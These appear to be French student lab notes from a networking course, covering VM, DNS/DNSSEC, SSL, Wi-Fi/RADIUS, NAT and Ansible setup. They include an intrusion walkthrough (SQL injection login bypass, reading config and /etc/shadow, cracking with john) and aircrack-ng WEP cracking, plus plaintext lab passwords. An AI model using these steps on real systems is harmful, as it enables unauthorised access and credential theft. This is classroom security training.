TP sysres IMA5sc 2020/2021 G7
Sommaire
Explication Infrastructure
Installation VM
Connexion ssh:
ssh pifou@capbreton.plil.info
Commande (en root su -):
xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force
MAJ gateway : 161
Nom de domaine: girolle.site
Adresse IP : 100.64.0.24 MAJ: 193.48.57.172
Netmask: 255.255.255.240 MAJ: 255.255.255.224
Adresse MAC : 00:16:3E:3E:E3:15
Repartition des volumes logiques :
lvdisplay lvrename
Dans le fichier de configuration de la machine : girolle.cfg on rajoute var et home : lignes 'phy:/.../xdva3'
Commandes pour creer et acceder a la VM :
xl create -c etc/xen/girolle.cfg xl console girolle
Commandes sur la vm:
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4
au prealable il faut
1) formater la partition :
mkfs -t ext4 /dev/xvda4
2) Monter la partition que l'on veut sur /mnt
mount /dev/xvda4 /mnt
3) Migrer tout le contenu de var dans mnt
cd /var mv * /mnt
4) Dans le fichier fstab rajouter :
/dev/xvda4 /var ext4 defaults 0 2
5) Unmout mnt
umount /mnt
6) Monter tout sur dev/xdva
mount -a
7)Verification
df dpkg -l
Activation connexion ssh
On modifie le fichier /etc/ssh/sshd_config
On décommente la ligne PermissionRoot :
# Authentication: #LoginGraceTime 2m PermitRootLogin yes
Puis on l'active avec la commande :
service sshd restart
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)
Redirection DNS
Sur Gandi
Achat d'un nom de domaine : girolle.site Création d'un Glue Record : 193.48.57.182
Serveur DNS primaire : ns1.girolle.site (193.48.57.182) Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)
Sur la machine virtuelle
Installation de bind9 On modifie les fichiers dans /etc/bind/named.conf. Dans /etc/bind/named.conf.options
options { directory "/etc/bind"; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; };
acl "allowed_to_transfer" { 217.70.177.40/32 ; };
Dans /etc/bind/named.conf.local
zone "girolle.site" { type master; file "girolle.site/girolle"; allow-transfer (217.70.177.40;}; };
Dans db.girolle.site
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.girolle.site. postmaster.girolle.site( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.girolle.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.182 @ IN MX 100 girolle.site.
www IN CNAME ns1
Puis pour le relancer :
service bind9 restart
Configuration pour la réception du mail de confirmation du certificat SSL
Installer Postfixe pour avoir accès au fichier aliases
Internet Site girolle.site
Dans /etc/aliases
admin: root
Puis ajouter dans newaliases Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using
Installation de mailx pour lire les mails reçus
apt-install bsd-mailx
Pour consulter le mail de vérification
mailx admin
Sécurisation par certificat SSL
Génération du CSR à l'aide d'openssl
openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt
Configuration du serveur apache2
Activation du ssl sur apache2
ae2enmod ssl
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available <VirtualHost *:80>
ServerName www.girolle.site Redirect / https://www.girolle.site ....
</VirtualHost>
<VirtualHost 193.48.57.182:443> DocumentRoot /var/www/html2 ServerName girolle.site SSLEngine on SSLCertificateFile /root/girolle.site.crt SSLCertificateKeyFile /root/girolle.site.key SSLCertificateChainFile /root/GandiCA.pem </VirtualHost>
verifications:
host -t soa girolle.site ns6.gandi.net Sur Zabeth : host www.girolle.site
Sécurisation de serveur DNS par DNSSEC
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées: Une clef asymétrique de signature de clefs de zone
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site
Une clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site
On renomme les deux paires de clés de la façon suivante :
Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :
$include /etc/bind/girolle_dnssec/<nom_de_zone>-ksk.key $include /etc/bind/girolle_dnssec/<nom_de_zone>-zsk.key
On signe les enregistrement de la zone avec la commande
dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk
Dans /etc/bind/named.conf.local on modifie la zone :
zone "girolle.site" IN { type master; file "/etc/bind/db.girolle.site.signed"; allow-transfer {227.70.177.40;}; };
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.
Configuration des bornes Wi-Fi
Borne classique : Cisco - AIR-CAP1602I-E-K9
Configuration IOS en CLI :
aaa new-model ! ! aaa group server radius radius_girolle server 193.48.57.182 auth-port 1812 acct-port 1813 ! aaa authentication login eap_group1 group radius_group1 aaa authentication login eap_girolle group radius_girolle ! dot11 ssid SSID_GIROLLE vlan 107 authentication open eap eap_girolle authentication network-eap eap_girolle authentication key-management wpa ! ! ... interface Dot11Radio0 encryption vlan 101 mode ciphers aes-ccm tkip
... interface BVI1 ip address 10.60.100.10 255.255.255.0 ! radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22
10.60.100.10 : adresse IP fixe du point d'accès
Commandes et verifications /
ap(config)#interface BVI1 ap(config-if)# ip address 10.60.100.10 255.255.255.0 ap(config-if)#exit ap#write PING ROUTEUR 1 POUR VERIFIER LA CONNEXION ap#ping 10.60.100.2 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds: .!!!! Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms
test second routeur : ne fonctionne pas car pas d'addresse ip
ap#ping 10.60.100.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds: ..... Success rate is 0 percent (0/5)
Configurer l'adresse par defaut:
ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2 ap(config)#exit ap#sh ip route
Test ping notre machine virtuelle girolle :
ap#ping 193.48.57.182 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms
Sécurisation
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.
wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7 wifi-ima5sc(config)# aaa group server radius radius_group7 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7 wifi-ima5sc(config-radius)# mbssid guest-mode wifi-ima5sc(config-radius)# vlan 307 wifi-ima5sc(config-radius)# authentication open eap eap_group7 wifi-ima5sc(config-radius)# authentication network-eap eap_group7 wifi-ima5sc(config-radius)# authentication key-management wpa
wifi-ima5sc(config)# int Dot11Radio0 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip wifi-ima5sc(config-if)# mbssid wifi-ima5sc(config)# ssid SSID_GROUP7
wifi-ima5sc(config-subif)# int dot11radio0.7 wifi-ima5sc(config-subif)# encapsulation dot1q 307 wifi-ima5sc(config-subif)# bridge-group 7
wifi-ima5sc(config)# int Gi0.7 wifi-ima5sc(config-subif)# encapsulation dot1q 307 wifi-ima5sc(config-subif)# bridge-group 7
FreeRadius
Dans /etc/freeradius/3.0/users
pifou Cleartext-Password := "pasglop"
Dans /etc/freeradius/3.0/client.conf
client girolle_wifi { ipaddr = 10.60.100.10 secret = secret_group7 }
Dans /etc/freeradius/3.0/mods-enabled/eap
default_eap_type = peap
Finalement on lance la commande freeradius -X
DHCP et mascarade
On doit implanter une fonction de serveur DHCP sur les deux routeurs.
Pour le 6509E :
IMA5sc-R1(config)#ip dhcp pool groupe7 IMA5sc-R1(dhcp-config)#dns 193.48.57.182 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1 IMA5sc-R1(dhcp-config)#exit IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255 IMA5sc-R1(config)#exit IMA5sc-R1#sh ip dhcp binding IMA5sc-R1#ping 193.48.57.182
Le ping fonctionne.
Pour le C9200 :
IMA5sc-R2(config)#ip dhcp pool groupe7 IMA5sc-R2(dhcp-config)#dns 193.48.57.182 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2 IMA5sc-R2(dhcp-config)#exit IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255 IMA5sc-R2(config)#exit IMA5sc-R2#sh ip dhcp binding
Mise en place de la mascarade (vlan131 -> vlan pour se connecter au routeur):
IMA5sc-R1(config)# int vlan 307 IMA5sc-R1(config-if)# ip nat inside
IMA5sc-R1(config)# int vlan 131 IMA5sc-R1(config-if)# ip nat outside
IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload
Création du vlan sur les routeurs
vlan 307
Configuration WLC
Utilisation de bornes Cisco 2802i
Connection via minicom -os (9600 bauds)
enable capwap ap ip <ip> <netmask> <gateway>
Intrusion honey.plil.info
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1
Admin : admin jesuislechef admin Administrateur
Creer le fichier etc/phpmyadmin/config-db.php en allant dans l'onglet: .... on telecharge le fichier qu'on a crée :
<?php ## ## database access settings in php format ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf ## by /usr/sbin/dbconfig-generate-include ## ## by default this file is managed via ucf, so you shouldn't have to ## worry about manual changes being silently discarded. *however*, ## you'll probably also want to edit the configuration file mentioned ## above too. ## $dbuser='phpmyadmin'; $dbpass='gencovid19'; $basepath=; $dbname='phpmyadmin'; $dbserver='localhost'; $dbport='3306'; $dbtype='mysql';
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ connexion id : root mdp: gencovid19
une fois connecter on recherche les identifiants des utilisateurs ssh : id = rex mdp:
connexion ssh : ssh rex@honey.plil.info
/etc/shadow pour trouver la cle de cryptage du mdp root copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7::: installation de john john nom du fichier
pour aller plus rapidement creer un dictionnaire a partir des indices donnés : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets' utiliseer crunch?
Cassage de clef WEP d’un point d’accès WiFi
On utilise le paquet aircrack-ng.
La commande
airmon-ng
permet de voir le nom du réseau sans fil: wlan0mon
airmon-ng start wlan0mon
On scanne les réseaux :
airodump-ng --encrypte wep wlan0mon
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.
On lance avec la commande :
airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon
aircrack-ng -z testwep-01.cap
Ferme de serveurs web
On travaille avec deux machines virtuelles. Une VM sur le serveur capbreton
(celle mise en place en PRA). On lui associe sur eth1 l'adresse IP 192.186.42.21
.
La seconde sur le serveur chassiron
d'IP 192.168.42.7
.
On ferme la machine virtuelle sur capbreton
(halt
) pour modifier le fichier de configuration girolle.cfg
.
On ajoute à la ligne vif 'mac=@MAC incrémenté de 1, bridge=bridgeStudents'
On relance, le ping entre leux deux machine se fait.
Mise en place de la mascarade pour que la VM sur chassiron
ait accès à internet :
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182 iptables-save echo 1 > /proc/sys/net/ipv4/ip_forward
Installation d'ansible
sur la VM de capbreton
.
Création des clés avec la commande ssh-keygen -t rsa
On ajoute la clé public sur toutes les machines de chassiron
:
cat id_rsa.pub | ssh root@192.168.42.7 'cat >> .ssh/authorized_keys2'
Installation de Python sur la VM de chassiron
(Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).
apt install python3 ln -sf /usr/bin/python3 /usr/bin/python
L'utilitaire ansible
permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur capbreton
.
Inventaire
Sur capbreton
, on crée un inventaire dans /etc/ansible/hosts
. en séparant notre serveur seul des autres (dont le notre).
[self] 192.168.42.7
[webinterne] 192.168.42.2 192.168.42.4 192.168.42.5 192.168.42.7 192.168.42.9 192.168.42.12
Playbook et roles
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.
Rôle basic
:
-
files
qui contient la configuration mymotd_conf et ntp.conf- mymotd_conf : On met ce que l'on veut afficher dedans
- ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP
# You do need to talk to an NTP server or two (or three). #server ntp.your-provider.example server ntp.plil.info ... # Local users may interrogate the ntp server more closely. restrict 127.0.0.1 restrict ::1 restrict 192.168.42.21 restrict 192.168.42.7
-
tasks
qui contient unmain.yml
- name : gestion packages apt: update_cache: yes name: "{{ packages } }" vars: packages: - python3 - python3-pip - ntpdate - ntp - name : gestion packages pip pip: name: - docker - name: lien symbolique command: ln -sf /usr/bin/python3 /usr/bin/python - name: motd copy: src: /etc/ansible/roles/basic/files/mymotd_conf dest: /etc/motd owner: root group: root mode: '0644'
- name: config ntp copy: src: /etc/ansible/roles/basic/files/ntp.conf dest: /etc/ntp.conf owner: root group: root mode: '0644'
Rôle dock
:
Rôle registry
:
Rôle deployer
:
Playbook first_play.yml
:
--- - name: Premiere playbook hosts: self roles: - basic - geerlingguy.docker - registry vars: docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg" docker_apt_repository: "deb [arch=Modèle:Docker apt arch] https://download.docker.com/linux/debian buster Modèle:Docker apt release channel" - name: Deploiement hosts: webinterne roles: - deployer